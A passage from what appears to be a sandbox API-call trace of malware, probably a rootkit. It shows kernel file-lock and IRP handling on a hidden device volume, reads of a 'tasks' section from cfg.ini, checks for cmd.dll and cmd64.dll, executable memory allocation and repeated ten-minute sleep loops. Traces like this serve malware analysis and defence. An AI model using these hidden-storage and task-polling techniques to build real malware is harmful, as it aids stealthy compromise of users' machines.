| out: _Dest="cfg.ini") returned="cfg.ini" [0122.591] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.591] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6760 [0122.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.591] KeLeaveCriticalRegion () [0122.591] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.591] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.591] KeEnterCriticalRegion () [0122.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.591] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.591] KeLeaveCriticalRegion () [0122.591] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.591] KeEnterCriticalRegion () [0122.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.591] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.591] IdePortDispatch () returned 0x103 [0122.591] KeWaitForMutexObject () returned 0x0 [0122.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.591] KeLeaveCriticalRegion () [0122.591] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.592] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.592] KeEnterCriticalRegion () [0122.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbc000 [0122.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.592] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.592] IdePortDispatch () returned 0x103 [0122.592] KeWaitForMutexObject () returned 0x0 [0122.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.592] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.592] IdePortDispatch () returned 0x103 [0122.592] KeWaitForMutexObject () returned 0x0 [0122.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.592] KeLeaveCriticalRegion () [0122.592] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.593] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.593] KeEnterCriticalRegion () [0122.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.593] KeLeaveCriticalRegion () [0122.593] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.593] KeEnterCriticalRegion () [0122.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.593] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.593] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.593] KeLeaveCriticalRegion () [0122.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.593] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.593] KeEnterCriticalRegion () [0122.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.593] ExFreePoolWithTag (P=0xfffffa8003be6760, Tag=0x0) [0122.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.593] KeLeaveCriticalRegion () [0122.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.593] ReleaseMutex (hMutex=0xf0) returned 1 [0122.593] Sleep (dwMilliseconds=0x927c0) [0122.609] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.609] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.609] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.609] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.609] KeEnterCriticalRegion () [0122.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.609] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.609] IdePortDispatch () returned 0x103 [0122.609] KeWaitForMutexObject () returned 0x0 [0122.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.609] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.609] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.609] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.609] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.609] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6760 [0122.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.609] KeLeaveCriticalRegion () [0122.609] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.609] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.609] KeEnterCriticalRegion () [0122.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.610] KeLeaveCriticalRegion () [0122.610] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.610] KeEnterCriticalRegion () [0122.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.610] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.610] IdePortDispatch () returned 0x103 [0122.610] KeWaitForMutexObject () returned 0x0 [0122.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.610] KeLeaveCriticalRegion () [0122.610] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.610] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.610] KeEnterCriticalRegion () [0122.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.610] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc1000 [0122.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.610] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.610] IdePortDispatch () returned 0x103 [0122.610] KeWaitForMutexObject () returned 0x0 [0122.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.611] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.611] IdePortDispatch () returned 0x103 [0122.611] KeWaitForMutexObject () returned 0x0 [0122.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.611] KeLeaveCriticalRegion () [0122.611] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.611] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.611] KeEnterCriticalRegion () [0122.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.611] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.611] KeLeaveCriticalRegion () [0122.611] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.612] KeEnterCriticalRegion () [0122.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.612] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.612] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.612] KeLeaveCriticalRegion () [0122.612] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.612] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.612] KeEnterCriticalRegion () [0122.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.612] ExFreePoolWithTag (P=0xfffffa8003be6760, Tag=0x0) [0122.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.612] KeLeaveCriticalRegion () [0122.612] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.612] ReleaseMutex (hMutex=0xf0) returned 1 [0122.612] Sleep (dwMilliseconds=0x927c0) [0122.625] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.625] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.625] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.625] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.625] KeEnterCriticalRegion () [0122.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.625] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.626] IdePortDispatch () returned 0x103 [0122.626] KeWaitForMutexObject () returned 0x0 [0122.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.626] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.626] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.626] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.626] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.626] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6760 [0122.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.626] KeLeaveCriticalRegion () [0122.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.626] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.626] KeEnterCriticalRegion () [0122.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.626] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.626] KeLeaveCriticalRegion () [0122.626] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.626] KeEnterCriticalRegion () [0122.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.626] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.626] IdePortDispatch () returned 0x103 [0122.626] KeWaitForMutexObject () returned 0x0 [0122.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.626] KeLeaveCriticalRegion () [0122.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.627] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.627] KeEnterCriticalRegion () [0122.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc6000 [0122.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.627] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.627] IdePortDispatch () returned 0x103 [0122.627] KeWaitForMutexObject () returned 0x0 [0122.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.627] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.627] IdePortDispatch () returned 0x103 [0122.627] KeWaitForMutexObject () returned 0x0 [0122.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.627] KeLeaveCriticalRegion () [0122.627] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.628] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.628] KeEnterCriticalRegion () [0122.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.628] KeLeaveCriticalRegion () [0122.628] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.628] KeEnterCriticalRegion () [0122.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.628] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.628] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.628] KeLeaveCriticalRegion () [0122.628] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.628] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.628] KeEnterCriticalRegion () [0122.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.628] ExFreePoolWithTag (P=0xfffffa8003be6760, Tag=0x0) [0122.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.628] KeLeaveCriticalRegion () [0122.628] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.628] ReleaseMutex (hMutex=0xf0) returned 1 [0122.628] Sleep (dwMilliseconds=0x927c0) [0122.634] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.634] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.638] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.638] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.638] KeEnterCriticalRegion () [0122.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.638] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.638] IdePortDispatch () returned 0x103 [0122.638] KeWaitForMutexObject () returned 0x0 [0122.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.638] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.638] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.638] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.638] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.639] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6c00 [0122.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.639] KeLeaveCriticalRegion () [0122.639] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.639] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.639] KeEnterCriticalRegion () [0122.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.639] KeLeaveCriticalRegion () [0122.639] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.639] KeEnterCriticalRegion () [0122.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.639] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.639] IdePortDispatch () returned 0x103 [0122.639] KeWaitForMutexObject () returned 0x0 [0122.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.639] KeLeaveCriticalRegion () [0122.639] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.639] _snprintf (in: 